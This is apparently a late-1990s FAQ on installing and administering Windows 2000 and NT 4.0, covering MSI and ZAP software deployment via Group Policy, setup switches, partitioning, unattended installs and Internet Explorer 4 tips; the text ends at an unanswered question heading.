Once you have your .msi package you can publish via the Group Policy editor to domains, Organizational Units and Sites. Its also easy to upgrade and retire packages all via the .msi. Current applications that support Microsoft installer packages are Microsoft Office 2000 and the Windows 2000 Resource Kit (among others).

In future service packs will be shipped with MSI files allowing you to deploy them via group policies with very little effort.

This is best paired with the Remote Installation Service allowing RIS to install the operating system and group policies to install the applications and settings. Of course, you may still want to use SMS for some features; Windows 2000 has been designed to work with SMS 2.0 and not against.


Q. How do I create a MSI file from a legacy application?

A. The problem at the moment is that not many applications ship with MSI files and so deploying legacy applications via group policies is not possible. Windows 2000 ships with WinINSTALL LE which can be used in the same way as SYSDIFF. You take a snapshot of you system, install the application, take an after snapshot and a discover program runs extracting the different files and registry entries that have been made.

Its important to run WinINSTALL LE on a clean system, by this I mean don’t run it on an installation that has applications installed on as when you install an application it may check if certain runtime’s etc are installed and if so not bother to recopy over, this would mean your distribution package would be missing vital files if applications were already installed.

To install WinINSTALL LE perform the following, however its recommended NOT to install the application on the PC that's going to act as the package creation computer incase the program itself effects the installation of the applications:

  1. Insert the Windows 2000 Server CD
  2. Move to the VALUADD\3RDPARTY\MGMT\WINSTLE folder
  3. Double click the SWIADMLE.MSI file
  4. The installer will begin and a progress bar displayed showing the progress of the installation.

A folder will be created under the Start menus Program folder 'Seagate Software'.

The first stage is to take a snapshot of the blank Windows 2000 Professional installation so any changes made by the application installation will be detected.

  1. Logon to the professional reference installation as an Administrator
  2. Run the Discover wizard from the distribution server (do not map a drive, use the Run dialog or Network Neighborhood), for example
    "\\titanic.savilltech.com\d$\Program Files\Seagate Software\Winstall\DiscoZ.exe"
  3. The wizard will start, click Next
  4. Enter a name for the package (the name of the software you are creating a package for) and a path for the .msi file (make sure its on a drive other than one that forms part of the package, and select a new empty directory) and click Next
  5. Select a drive for the temporary files and click Next
  6. Select the drives that the discover program should scan and click Next
  7. Select the files to exclude from the scan (leave as the default unless you know what you're doing). Click Next
  8. The WinINSTALL Discover program will then start
  9. Once complete it will ask you to click OK which will prompt for a setup program to run, this is the legacy application which you want to create an .MSI file for.
  10. Select the setup program you want to run and click Open
  11. Continue the application setup as per normal

Once you have installed the application and made and configuration changes you need to create the "after" snapshot:

  1. Logon to the professional reference installation as an Administrator again
  2. Run the Discover wizard from the distribution server (again, do not map a drive, use the Run dialog or Network Neighborhood), for example
    "\\titanic.savilltech.com\d$\Program Files\Seagate Software\Winstall\DiscoZ.exe"
  3. The wizard will detect that a before snapshot exists and will ask if you want to create the after snapshot. Leave the 'Perform after' and click Next
  4. The check will begin on both the registry and file system
  5. If there are any potential problems they will be displayed. Click OK
  6. A notice saying the after snapshot is complete and the package created

Before running any other package creations remove the application you installed or better yet, reinstall the machine (RIS is useful for this).

Its possible to fine-tune your created package using the 'Seagate Software Console' MMC snap-in. Select Open from the File menu and you can then change and view the files and registry components that will change be changed if installed. Select Save after any changes.

The Seagate console that allows you to edit the MSI files.

Once you have finished you must not only place the .MSI file to the distribution server but all files and subdirectories in the directory chosen for the MSI file.


Q. How can I publish an MSI file?

A. With Group Policies in Windows 2000 you can do far more than just restrict and set certain registry entries. You can set startup/shutdown/login/logoff scripts, redirect folders like My Documents and publish applications (and more). Its the last item that interests us and there are four main options:

  • Assign to a computer
  • Publish to a computer
  • Assign to a user
  • Publish to a user

When you assign an application to a user its icons are setup and the software installed on first usage, if you assign to a computer it will be installed the next time the computer starts up. If you publish an application the user has the option of installing the application via the Add/Remove Programs control panel applet.

Any deployed application cannot be uninstalled by the user. Published applications can be uninstalled as they are optional.

You can publish/assign applications to any group policy object which means you can assign applications on a per domain, per site or per Organizational Unit basis.

To assign an application to a GPO perform the following:

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the domain, OU or site and select Properties
  3. Select the 'Group Policy' tab
  4. Select the GPO you wish to assign/publish the application with and click edit
  5. Select either 'Computer Configuration' or 'User Configuration' depending on if the application is for a user or computer assignment
  6. Select the Software Settings\Software installation branch
  7. Right click on 'Software installation' and select New - Package from the context menu
  8. Select the MSI file you wish to deploy, make sure you access via a network path or clients will be unable to install it, e.g. \\titanic\data\winzip\winzip.msi. Click Open
  9. You will have the option to either publish/assign or advanced publish/assign. Click OK. If you select advance you have options to select an existing package that this one will upgrade and various other settings including Security
  10. The program will now be shown under the Software installation branch and will be assigned/published to any user/computer who has the GPO applied to them.


Q. How can I run programs during the GUI phase of 2000 installation?

A. Its sometimes useful to enter commands and run processes during an installation of the operating system. With Windows 2000 GUI installation phase you can press <Shift>-<F10> to open a command window and from there you can start other programs such as TASKMGR.EXE, REGEDT32.EXE.


Q. How can I use an unattended answer script when installing through a bootable CD-ROM?

A. With new machines being able to boot off of CD-ROM's, its obviously not possible to specify an unattended answer file via the CD-ROM.

Create your .SIF file (the Windows 2000 unattended answer format) and save to a floppy disk as name winnt.sif. Insert the disk when booting from the CD-ROM and the winnt.exe program searches for a:\winnt.sif during installation.


Q. Underscores (_) in my computer names are changing to dashes (-) in Windows 2000.

A. While the DNS server supplied with Windows 2000 supports the underscore (_) character as a valid DNS character (in accordance with RFC 2181) other DNS solutions may not and so to avoid possible problems Windows 2000 changes any _ to a - in a computer name during setup.

After Setup is complete, you can change the computer name back to include the underscore. If you do so, you receive a warning that the computer name may not work.


Q. How to setup NT Server 4.0 on greater then 4gig Hard Drive without Partition Magic or Atapi.sys.

A. The following was sent to me by Joshua Bolton and I thought you may find is useful, thanks Joshua!

Preamble
This document of procedure assumes some understanding of partitioning in the Dos environment and that you know how to use FDISK.EXE and FORMAT.COM to make a drive bootable. It is also assumes that you know how to install NT Workstation or NT Server and that you know how to use Disk Administrator in NT.

These are the following options if you are just using Microsoft NT 4.0
(There are other options using Atapi.sys or Partition Magic. Please see John’s FAQ’s or follow posts on Partition Magic)
Options:
1. access to another NT4.0 workstation or server
2. standalone installation

If you have access to NT Server or NT Workstation already installed in another system

1. first in the server or workstation you want to install NT to finally, do the following
2. use FDISK.EXE and FORMAT.COM from Dos6.22, Win95/98
3. I make a 125meg dos bootable partition. (I believe this can be smaller but have not tested how small I can go for the bootable partition and still mount NT.)
4. Put the drive in the NT Workstation or NT Server,(that has minimally Service Pack 3 installed), as slave or on the second IDE channel.
5. Using Disk Administrator create an Extended partition with the remaining disk space. Make NO changes to the primary (first) partition.
6. From the Partition Menu in Disk Administrator choose Commit Changes Now
7. Format the Extended Partition as NTFS
8. Exit and turn off the system.
9. Remove the drive from this system and put it in its new home (the other system).
10. Boot NT Workstation or Server from either using a boot disk with CD-ROM drivers or from the CD-ROM with a BIOS that can boot a CD-ROM.
11. Install NT to the NTFS partition WITHOUT MAKING ANY CHANGES IN FORMAT OR PARTITIONING.

Note: you now have NT on a NTFS partition that was NOT converted from FAT during the NT Install. This is a complete NTFS partition in that the MFT and NTFS partition pointers are in the right location and the right size. This configuration gives you ALL of the benefits of NTFS for your NT system.

If this is a standalone installation

You have a number of options depending on the size of your hard drive and whether you want to boot other OS’s.

A: install multiboot NT to 2-4gig primary partition with Win95/98
B: install multiboot with 95/98 and NT on separate partitions
C: install NT to an extended partition preformatted as NTFS
D: install NT in a multiprimary partition environment

A: Installing NT and Win95/98 on the same partition
1. There will be no FAT32 or NTFS conversion of the primary partition otherwise you will lose access to the OS that does not understand that file structure.
2. Install Win95/98
3. Install NT
You now have NT and Win95/98 in a multiboot using the same partition.

B: Installing multiboot of NT and Win95/98 on separate partitions
1. There will be no FAT32 or NTFS conversion of the primary partition. You CAN make a small primary partition (I recommend 125meg) and then create two logicals. One for NT and one for Win95/98. You can install Win95/98 to the primary (2-4gig) if you DO NOT convert to FAT32.
2. Install Win95/98. Convert to FAT32 if on separate, but not primary partition.
3. Install NT. Convert to NTFS if you desire.
You now have NT and Win95/98 in a multiboot using different partitions with the primary FAT16, Win95/98 on FAT32 and NT on NTFS. Or Win95/98 on FAT16 on the primary and NT on the logical with NTFS.

C: Installing NT to an extended partition preformatted as NTFS
1. This procedure requires you to install NT twice. Create your primary partition at least 2gig. It can be smaller but I have not tested this scenario.
2. Install NT to the Primary Partition.
3. Install minimally Service Pack 3
4. In NT’s Disk Administrator allocate the rest of the drive as extended partition.
5. Format as NTFS
6. Rerun NT install and choose to install to the NTFS partition with no changes.
7. After the install is completed and you are booted to the second install, delete the first installs Winnt directory. Edit the boot.ini and remove the references to the first install.
You now have NT on a nonconverted from FAT to NTFS partition with MFT and pointers in the right places and the right size. You will also benefit from the performance of native NTFS. You can also have a partition larger then 4-8gig.

D: Install NT in a Multiprimary partition environment
1. When you have multiple primary partitions created with other products then Dos or NT install, NT does not understand this partitioning scheme. So if you have the following setup:
a. primary partition
b. primary partition
c. extended partition
NT will not install to the second primary partition or its extended partition but will install to the first primary partition. This is because each primary partition contains its own FAT (file allocation tables which is what keeps track of file locations). The first primary doesn’t know about the second primary’s FAT. So when you boot from the first primary, NT reads it FAT and thereby can’t find the files it needs to load if these files are located on the second primary or its extended partition.
2. You can make NT boot to a secondary primary with System Commander, Boot Magic or other boot managers. Boot managers intercept and handle requests to mount different partitions. So by using a boot manager you can fool NT into thinking the second primary partition is really the first.
3. This setup should never be used in a production environment but is meant for home training.

Important Notes:

I have never been able to get NT during install to allocate more then 4gig of disk space.
FAT32 is to address large drives or partitions beyond 4gig. It does NOT increase speed.
NTFS that is created by NT Install is a NTFS partition that was converted from FAT16. You will NOT get the performance of speed with this configuration but you will get the benefit of file level security.
I chose 125 meg for the minimum Primary Partition since I usually boot up on a boot disk with cdrom drivers. NT install needs this space to expand the temporary files it uses upon first reboot of the system during install unless you preformat an extended partition first.
To create NTFS drives larger then 4-8gig after the NT install you must install minimally Service Pack 3

Review of FDISK.EXE Rules
FDISK.EXE, the Dos utility, for partitioning a hard drive follows these rules.

You divide up a disk by creating a Primary Partition and then an Extended Partition. The primary contains all of the information for the layout out the drive including Extended Partition. The Primary contains the boot information and the File Allocation Tables (FATs) one and two. The Primary Partition must be made Active to boot.

The Extended Partition is divided up by creating Logical’s which are designated by a Logical Drive Letter.

So to FDISK.EXE a drive you create a primary, making it active, then the extended partition and then create logicals in the extended partition. You have to REVERSE the process if you want to remove the partitioning scheme. You would have to delete all logicals before removing the extended partition before you could remove the primary partition.

These rules are what determines drive letter assignments. For example one drive will have C: for primary and D:, E:, etc for the logicals. Two hard drives will have the first drives primary as C:, the second drives primary as D:, then back to the first drive with its logicals E:, F:, etc., then to the logicals on the second hard drive G:, etc.

After fdisking a drive you must format it to make it usable. I liken Fdisk to putting a Post Office with streets in a new town. Formatting is putting the addresses on all the houses. You do this by booting up on a boot disk. From a: type format c: /s (the /s is for system files).

Also see Q. I can't create a NTFS partition over 4GB during installation.


Q. How can I specify an alternate HAL during Windows 2000 installation?

A. During installation of Windows 2000 you can press F5 and select an alternate HAL to be used:

  • ACPI Multiprocessor PC
  • ACPI Uniprocessor PC
  • Advanced Configuration and Power Interface (ACPI) PC
  • Compaq SystemPro Multiprocessor or 100% Compatible
  • MPS Uniprocessor PC
  • MPS Multiprocessor PC
  • Standard PC
  • Standard PC with C-Step i486
  • Other

Selecting Other allows a 3rd party HAL to be specified.


Q. Getting a Thinkpad OEM installed version of NT to occupy only one partition.

A. A possible annoyance of some Thinkpad installs is that they come pre-partitioned in 2 Gigabyte chunks. If your machine (or the machine your are configuring) has a large hard drive this can add unwanted drive letters. To complicate things further, these machines come with "Disaster Recovery CDs" and users sometimes request the preload.

To load the preloaded image onto a single partition do the following :

NOTE : We will be wiping the drive, be sure to back your user's data

1)From a working single partiton NT machine, format a floppy disk.

2)Copy ntldr, ntdetect.com, and boot.ini to the floppy.

3)Edit boot.ini on the floppy and make sure that at least one of the selections looks something like :

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Partition 1 on first disk 2Windows NT Version 4.00"

4)Boot to a floppy with a Win9X command interpreter (your can make one from Windows95 by formatting a floppy from DOS using the "format a: /q /s" command. This should be a different floppy from the NT floppy you made in step 1 and 2. Copy Fdisk or pqmagict.exe to the floppy.

5)Use either PQMagic or Fdisk to create a single primary partition on the drive (no need to format the drive)

6)Boot to your recovery CD and initiate a recovery. Do NOT take the defaults.

7)The recovery procedure will detect partitions.

8)When asked if you would like to overwrite your partition info do not. When asked if you would like to format the partition, select yes.
Note : The formatted partition will be formatted FAT (not FAT32)

9)The recovery procedure will copy its files and eventually try to reboot.
Note, if you try to boot at this stage, the machine won't boot. Why?

Because a 6.0 Gig FAT partition isn't bootable.

10)Boot from the NT floppy you made in step 1. If the floppy points correctly to the NT install, NT will boot.

11)Run checkdisk if it hasn't already run.

12)From the command prompt convert the drive to NTFS (convert c: /fs:ntfs)
This conversion will happen at the next reboot.

13)Check your boot.ini to make sure it looks right.

14)If you want, Run rdisk /s and Disk Administrator and let it make its signature.

15)Reboot.

You now a have preload on a single partition.

Thanks to Matthew Ramadanovic for this


Q. How can I test if my installation can be upgraded to Windows 2000?

A. Winnt32.exe has a switch, /checkupgradeonly which will check your system for upgrade compatibility. To use just enter the following in the RUN box (Start - Run)

<CD drive>:\i386\winnt32 /checkupgradeonly

This will start the Windows 2000 Readiness Analyzer and will list any problem drivers/software. Selecting an item and clicking 'Details' will give more information and the actions you should perform be it uninstalling or installing a newer version. Once you have made a note of all problems click Finish to close the wizard.


Q. What switches are available for Windows 2000 installation?

A. Some of the switches have changed for WINNT32.EXE in Windows 2000 to make them more understandable and they are outlined below:

/s:<source path> | Source location for the Windows 2000 files
/tempdrive:<drive letter> | The drive used for any temporary files
/unattended | Upgrades in unattended mode if no answer file specified. If an answer file is used a new installation is installed. /unattended<seconds to wait before rebooting>:<name of answerfile>
/copydir:<folder name> | Creates an additional folder under %systemroot% with the name specified
/copysource:<folder name> | Creates a temporary additional folder within the folder in which the Windows 2000 files are installed. For example, if the source folder contains a folder called Private_drivers that has modifications just for your site, you can type /copysource:Private_drivers to have Setup copy that folder to your installed Windows 2000 folder and use its files during Setup. So then the temporary folder location would be C:\Winnt\Private_drivers. Unlike the folders /copydir creates, /copysource folders are deleted after Setup completes.
/cmd:<command_line> | Runs the specified command after the second reboot but before setup is complete
/debug<level>:<filename> | Creates a debug file in %windir%. By default winnt32.log is created at level 2 but the other options are 0 - Severe errors 1 - Errors 2 - Warnings 3 - Information 4 - Detailed information for debugging
/udf:<id>[,<UDB>] | Uses to specify unique information. If no UDB file is named the user will have to insert a disk with file $Unique$.udb on it.
/syspart | This copies the setup startup files to the hard disk, marks the disk as active and then allows you to move the disk to another computer. When the computer is then turned on it will start at the next phase of installation. Use /tempdrive switch as well. /syspart cannot be used if upgrading from Windows 9x.
/checkupgradeonly | Used to check your machine for any upgrade issues in advance
/cmdcons | Installs the recovery console
/m:<folder> | Copy replacement files from this alternate location first and if not found then use the normal location
/makelocalsource | Makes setup copy all installation source to the local hard disk. Useful if installing from CD and don't wish to use the CD for any further component installations on the machine.
/noreboot | This will stop the automatic reboot after the file copy stage of setup

WINNT.EXE is useful for installing from a DOS client or boot disk and full help can be found with winnt /?

C:\>winnt.exe /?
Sets up Windows 2000 Server or Windows 2000 Professional.

WINNT [/s[:sourcepath]] [/t[:tempdrive]]
[/u[:answer file]] [/udf:id[,UDF_file]]
[/r:folder] [/r[x]:folder] [/e:command] [/a]

/s[:sourcepath]
Specifies the source location of the Windows 2000 files.
The location must be a full path of the form x:[path] or
\servershare[path].

/t[:tempdrive]
Directs Setup to place temporary files on the specified
drive and to install Windows 2000 on that drive. If you do
do not specify a location, Setup attempts to locate a drive
for you.

/u[:answer file]
Performs an unattended Setup using an answer file (requires
/s). The answer file provides answers to some or all of the
prompts that the end user normally responds to during Setup.

/udf:id[,UDF_file]
Indicates an identifier (id) that Setup uses to specify how
a Uniqueness Database File (UDF) modifies an answer file
(see /u).The /udf parameter overrides values in the answer
file, and the identifier determines which values in the UDF
file are used. If no UDF_file is specified, Setup prompts
you to insert a disk that contains the $Unique$.udb file.

/r[:folder]
Specifies an optional folder to be installed. The folder
remains after Setup finishes.

/rx[:folder]
Specifies an optional folder to be copied. The folder is
deleted after Setup finishes.

/e Specifies a command to be executed at the end of GUI-mode Setup.

/a Enables accessibility options.


Q. How do I install Windows 2000?

A. Now that the Windows 2000 code has gone gold I thought it would be a good time to go through the steps needed to install Windows 2000. We will look at a fresh Server installation but the Professional installation is basically the same.

Overall the installation is very similar to that of NT 4.0 except there is no PDC/BDC stage as we shall see. In this example we will boot off of the CD as many computers support this now.

  1. Insert the Windows 2000 CD and reboot the computer
  2. The text based portion of setup will start
  3. Hardware will be detected by the setup program and you can press F6 to install any 3rd party drivers needed for disk detection etc. The standard drivers will then be loaded
  4. Press Enter to set up Windows 2000 (other options include R to repair a damaged existing installation or F3 to abort installation)
  5. Read the license and press F8 (you no longer need to read all of it to press F8)
  6. A list of your disks and partitions will be shown. Select/create a partition to install on and press Enter
  7. If its an existing partition a warning will be given. To continue press C
  8. You have the option to install NTFS, FAT or if it was an existing partition leave as is. Make you selection and press Enter.
  9. Files will be copied and the machine will reboot to the GUI phase of installation
  10. When the GUI phase starts click Next
  11. The setup program will detect hardware present in the machine, this make take a while
  12. The next stage allows the user to select the locales for the computer, click Customize
  13. Under the General tab and select the locale, e.g. "English (United Kingdom)". Also click 'Set Default..' to select the system locale and click OK. Click Apply then OK. Under the 'Input Locales' tab you can also set the default locale and remove US if that is not a required installed locale.
  14. Click Next
  15. Enter a name and organization
  16. Enter the license key for the software and click Next
  17. Select the license mode, per seat or per server and click Next. You don't have this stage for a Professional installation
  18. Enter a computer name and an Administrator password. Click Next
  19. Select the components you wish to install and click Next (e.g. DNS under Networking Services)
  20. Select a Data and Time zone and click Next
  21. The networking components will be installed
  22. Once installed select if you want Typical network settings which is TCP/IP using DHCP or use Custom to enter IP address's, install extra protocols etc. Click Next
  23. Select a workgroup or domain for the computer and click Next. If joining a domain an account for the domain may be needed if an account has not already been added
  24. The components will now be installed on the machine
  25. The Start menu items will be added, components registered and temporary files are removed
  26. Click Finish
  27. The machine will now reboot and installation is complete. You should now configure any components. The first time you logon to a Professional installation it gives the option to create an account to automatically logon as for future startups.

You should now install the Command Console as it may save your life! Q. How do I install the Recovery Console?

To create a domain controller see 'Q. How do I promote a server to a domain controller?'


Q. How do I deploy old applications in Windows 2000 via ZAP files?

A. New applications in Windows 2000 have .MSI files which are used to deploy them via Group Policies however your older applications will not have MSI files.

In 'How do I create a MSI file from a legacy application?' we saw how to create an MSI file from a legacy application however there is a large amount of work involved with this and an alternative method is available via ZAP files however I should stress MSI is the approach to take where possible.

ZAP files are just text files that provide instructions for deploying older applications however there are some restrictions:

  • Applications cannot be assigned to users or computers, they can only be published
  • Applications do not automatically repair themselves
  • Normally require user intervention
  • Do not install with elevated privileges, users require the privilege to install software

The ZAP file consists of two sections, the [Application] and [Ext] sections.

The application section contains the name of the setup command, a version to display, a friendly name and a URL, for example:

[Application]
FriendlyName = WinInfo Version 2.2
SetupCommand = setup.exe /unattend
DisplayVersion =2.2
Publisher = SavillTech
URL = http://www.savilltech.com/wininfo.html

The file extension section just lists extensions which should be associated with the new application, e.g.

[Ext]
SAV=

To publish a ZAP file perform the following:

  1. Start the Group Policy editor and open a group policy
  2. Select the 'User Configuration' branch
  3. Expand 'Software Settings'
  4. Right click on 'Software installation' and select New - Package
  5. Select the File type "ZAW Down-level application packages (*.zap)" and select the created ZAP file. Click Open
  6. Select 'Published' from the deployment method and click OK
  7. It will now be displayed as a published application


Q. What are the upgrade paths for Windows 2000?

A. In some ways they are stricter than NT 4.0 when you consider that you used to be able to upgrade from NT Workstation to NT Server (but not to a PDC or BDC) but this is not possible in Windows 2000. Windows 2000 gives better upgrade paths from the Windows 9x operating systems.

The upgrade paths you can perform are:

Windows 9x -> Windows 2000 Professional
Windows NT Workstation -> Windows 2000 Professional
Windows NT Server -> Windows 2000 Server, Advanced Server
Windows NT Terminal Service Addition -> Windows 2000 Server, Advanced Server
Windows NT Enterprise Edition -> Windows 2000 Advanced Server, Datacenter
Windows 2000 Advanced Server -> Windows 2000 Datacenter

You cannot perform the following upgrades:

Windows NT Workstation -> Windows 2000 Server, Advanced Server, Datacenter
Windows 2000 Professional -> Windows 2000 Server, Advanced Server, Datacenter
Windows 2000 Server -> Windows 2000 Advanced Server, Windows 2000 Datacenter


Q. Some BackOffice 4.5 components do not install on Windows 2000.

A. When installing the BackOffice 4.5 software on a Windows 2000 box the Exchange, BackOffice suite components and the Intranet collaboration kit may not be installed. If you receive errors during the installation click Cancel, click OK will just result in the message being continually displayed.

Once the install has completed perform the following to install the failed components:

  1. After you receive the error messages and the installation is finished, restart the server.
  2. Start the BackOffice 4.5 setup program (Start - Programs - Microsoft BackOffice - Microsoft BackOffice 4.5 setup).
  3. Choose Add BackOffice Server components, and then proceed with a custom installation.
  4. The components that were not installed in the previous installation attempt are automatically selected. Proceed with the installation, and the components are successfully installed.

The installation should be successful and all required components will now be installed.


Q. I'm unable to upgrade Windows 9x to Windows 2000 in a dual boot environment.

A. Microsoft does not support the upgrade of Windows 9x to Windows 2000 in a dual boot environment. The problem seems to occur if Windows 2000 is already installed on another partition. You may get the errors:

Windows 2000 Setup does not support upgrading from Windows if you have multiple operating systems installed. Setup will now exit.

or

Other Operating Systems Found

You cannot upgrade this Windows installation to Windows 2000, because you have more than one operating system installed on your computer. Upgrading one operating system can cause problems with files shared by the other operating system, and is therefore not permitted.

To official solution is to uninstall the other Windows 2000 installation and remove the files ntldr, ntdetect.com and boot.ini from the system partition (c:\). You can try to just delete those files and leave your other installation intact and once the Win9x upgrade is complete modify boot.ini to include a link to the existing Windows 2000 installation.


Q. How can I configure extra Plug and Play drivers for a Windows 2000 installation?

A. If you are installing Windows 2000 over the network (including RIS) and have the I386 structure on disk its possible to add extra plug and play drivers that will be loaded as needed during installations.

  1. Move to your I386 structure and create a subdirectory \$OEM$\$1
  2. Under the $1 directory create a directory of no more than 8 characters of the company who make the driver, e.g. creative
  3. Under that directory create a subdirectory for the type of hardware, e.g. video, sound etc. (again no more than 8 characters)
    At this point you might have structure:
    - d:\i386\$OEM$\$1\creative\video
    - d:\i386\$OEM$\$1\creative\audio
  4. Copy the drivers and the .INF files into the appropriate subfolder
  5. Open you answer file (or your SIF file) and add the directories to the OEMPnPDriversPath under the [Unattended] section, e.g.
    [Unattended]
    OEMPnPDriversPath = "creative\video;creative\audio"
    Use a semi-colon (;) to separate the entries
  6. If any of the drivers are unsigned it will interrupt the unattended installation so also add the line
    DriverSigningPolicy = Ignore
    Under the OemPnPdriversPath line

You may if you wish just create a single directory under $OEM$\$1 such as pnpdriv and just copy everything into there as long as you have no file name clashes. If you do this the OEMPnPDriversPath would be just "pnpdriv". It would be recommended to keep them separated to help organization and also remember this structure will be copied locally to the system drive.


Q. Unsigned drivers are stopping my unattended installations.

A. Windows 2000 uses a driver signing system and when a driver is signed its been tested and is known to work with Windows 2000. You should always use signed drivers where possible.

If a driver is not signed and you try and use as part of an unattended installation your installation will stop and you will prompted to continue to use it, this obviously defeats the purpose of unattended so its possible to configure the installation to ignore driver signing.

Open your unattended/sif file and goto the [Unattended] section and add the line:

DriverSigningPolicy = ignore

There are actually 3 values for DriverSigningPolicy, ignore, warn and block. They speak for themselves I think :-)

Please note that if you are using drivers that supercede those supplied with Windows 2000 and they are NOT signed the installation process will ignore them and instead used the built in signed versions.


Q. What are the directories I can have under $OEM$ for an unattended installation in Windows 2000?

A. Its possible to configure extra files for an installation that might be specific to your organization or to the hardware in the machine. These are placed under the $OEM$ directory of the I386 structure and under $OEM$ you can have the following:

\$OEM$\textmode | Hardware dependant files for use during the initial Windows 2000 install and text mode setup such as OEM HAL's, SCSI drivers etc.
\$OEM$\$$ | Used to replace any core system files and must match the structure of the Winnt structure. For example to replace files in the winnt\system32 directory you would create \$OEM$\$$\system32
\$OEM$\$1 | Files that you want to be copied to the drive where Windows 2000 is installed (%systemroot%)
\$OEM$\<drive letter> | Same as $1 but allows you to set a specific drive letter, e.g. \$OEM$\C would copy everything under it (including subdirectories) to C


Q. DontDisplayLastUserName setting is lost in upgrade from NT 4.0 to Windows 2000.

A. When you upgrade to Windows 2000 and select for the terminal services component to be installed the DontDisplayLastUserName setting is reset to 0. To fix you will need to manually set back to 1

  1. Start the registry editor
  2. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system
  3. Double click dontdisplaylastusername
  4. Set to 1. Click OK
  5. Close the registry editor

Its actually been moved in 2000 as you may notice from the new registry location above.


Q. How do I enable ACPI on my machine/change the HAL?

A. If during Installation you disabled ACPI to solve a problem (as seen in Q. How can I specify an alternate HAL during Windows 2000 installation?) you may want to enable again at a later time and this can be done as follows:

  1. Right click on 'My Computer' and select Properties from the context menu
  2. Select the Hardware tab
  3. Click the 'Device Manager' button
  4. Expand the Computer object
  5. Its type will be shown, probably 'Standard PC' (if it says (Advanced Configuration and Power Interface (ACPI) PC then ACPI is enabled already)
  6. Right click on the Computer type and select Properties
  7. Select the 'Driver' tab
  8. Click 'Update Driver'
  9. The Upgrade Device Driver Wizard will start. Click Next
  10. You can now either ask it to find a driver or manually select
  11. If you select Manual select the 'Show all hardware of this device class' and select the ACPI driver. Click Next
  12. Click Next to install the driver
  13. Click Finish to the wizard and click Close the computer property driver dialog
  14. Click Yes to restart your computer

Be careful with this though, if you select a HAL which your computer is not compatible with you may experience problems.


Q. How do I disable/enable ACPI on my machine during installation?

A. We saw in Q. How can I specify an alternate HAL during Windows 2000 installation? how to manually select an alternate HAL during installation but this can also be done via modifying a file during installation.

  1. After the text-mode phase of setup completes but before the GUI stage boot into an alternate installation (or via a boot disk/CD)
  2. Remote the read-only, hidden and system flags from the txtsetup.sif file
    C:\> attrib c:\txtsetup.sif -r -s -h
  3. Edit the txtsetup.sif file and search for ACPIEnable=
  4. To force ACPI to be enabled change to
    ACPIEnable=1
    To force ACPI to be disabled change to
    ACPIDisable=0
  5. Save the file
  6. Reapply the attributes
    C:\> attrib c:\txtsetup.sif +r +s +h
  7. Continue with the Windows 2000 setup wizard

You can also press F7 during installation to load a non ACPI HAL.


Q. The Administrator password I set during unattended installation is ignored.

A. A known issue is that when using the AdminPassword unattended installation option and it contains a * character it means the install procedure should set the Administrator account to use a blank password. This means that if it appears anywhere in the password then a blank Administrator password will be set.

[GuiUnattended]
AdminPassword=John*Savill

The fix is to not have a * in the Administrator password.


Q. How can I remove the Active Desktop?

A. You can turn off the Active Desktop without removing it by performing the following:

  1. Right click on the desktop
  2. Select "Active Desktop"
  3. Unselect "View as Web Page" (by clicking it)

To actually remove Active Desktop completely while leaving the browser intact:

  1. Start the Add/Remove Programs control panel applet (start - settings - control panel - add/remove programs)
  2. Select "Microsoft Internet Explorer 4.0" and click the Add/Remove button
  3. Click the "Remove the Windows Desktop Update component, but keep the Internet Explorer 4.0 Web browser" option and click OK
  4. A dialog box explaining the change will be shown and you should click the "Restart Windows" button
  5. Once restarted the active desktop will have been removed


Q. How can I get past the "Active Desktop Recovery" page?

A. This can usually be fixed by deleting the desktop.htt file:

  1. Start explorer
  2. Move to %systemroot%\Profiles\<your username>\Application Data\Microsoft\Internet Explorer
  3. Select Desktop.htt and delete (it is a hidden file so you will need to change the view first View - Folder Options - View)
  4. Close Explorer
  5. Right click on the desktop and choose Refresh


Q. What keyboard commands can I use with Internet Explorer 4.0?

A. Below is a list of common keyboard commands:

Alt + Left Arrow (or backspace) | Go Back
Alt + Right Arrow | Go Forward
Tab | Move to next Hyperlink
Shift - Tab | Move to previous Hyperlink
Enter | Move to page referenced by Hyperlink
Down Arrow | Scroll down
Page Down | Scroll down in greater jump
End | Move to bottom of document
Up Arrow | Scroll up
Page Up | Scroll up in greater jump
Home | Move to top of document
F5 | Refresh
Ctrl - F5 | Refresh not from cache
Esc | Stop download
F11 | Full screen/normal toggle


Q. How can I create a keyboard shortcut to a web site?

A. It is possible to create your own keyboard shortcuts with a Ctrl + Alt + <letter> combination as follows:

  1. Start Internet Explorer
  2. Select "Organize Favorites" from the Favorites menu
  3. Right click on the link and choose Properties
  4. In the Shortcut key dialog box type the combination, any combination of Ctrl, Shift, Alt and a key that is not used
  5. Click OK

You can also use the above to create a keyboard shortcut to a desktop item by right clicking on the shortcut and choosing properties.


Q. How can I customize folders with web view enabled?

A. If you have installed the Windows Desktop Update and have the view as web page enabled ( view - as web page) you can customize the folder (view - customize this folder) and then select the type (background picture or a whole HTML file) or you can change the default which is stored in a hidden HTML file (%systemroot%\web\folder.htt). You can then edit this file and change accordingly.

There is a line in folder.htt "HERE'S A GOOD PLACE TO ADD A FEW LINES OF YOUR OWN" which you can add your own links which will then appear on all folders.

There are 4 other templates you can edit:

  • controlp.htt - Control Panel
  • printers.htt - Printers
  • mycomp.htt - My Computer
  • safemode.htt - Safe Mode

As I said these are hidden so you will either need to remove the hidden attribute (attrib <file> -h) or just enter the name specifically in the edit utility you use to change these files. A word of warning, make a backup of these files before you break them :-).


Q. How can I change the icons in the Quick Launch toolbar?

A. The icons on the quick launch taskbar (Internet Explorer, Outlook Express, Show Desktop and Channels by default) are all stored in %systemroot%/profiles/<user>/Application Data/Microsoft/Internet Explorer/Quick Launch and to remove/add just add and remove the files from this directory using Explorer.

You can copy any shortcut to this directory and the update will be done straight away, no need to logoff/reboot. As you can see below I have added a shortcut for Word and Frontpage just by copying the shortcut to the Quick Launch directory, easy.

qcklanch.gif (2017 bytes)

An alternative method is to just drag a shortcut over the Quick Launch bar and it will add the shortcut for you.

All the files in this folder are shortcuts except for Show Desktop and View Channels. See the next FAQ for their contents.


Q. I have lost Show Desktop/View Channels from the Quick Launch bar, help!

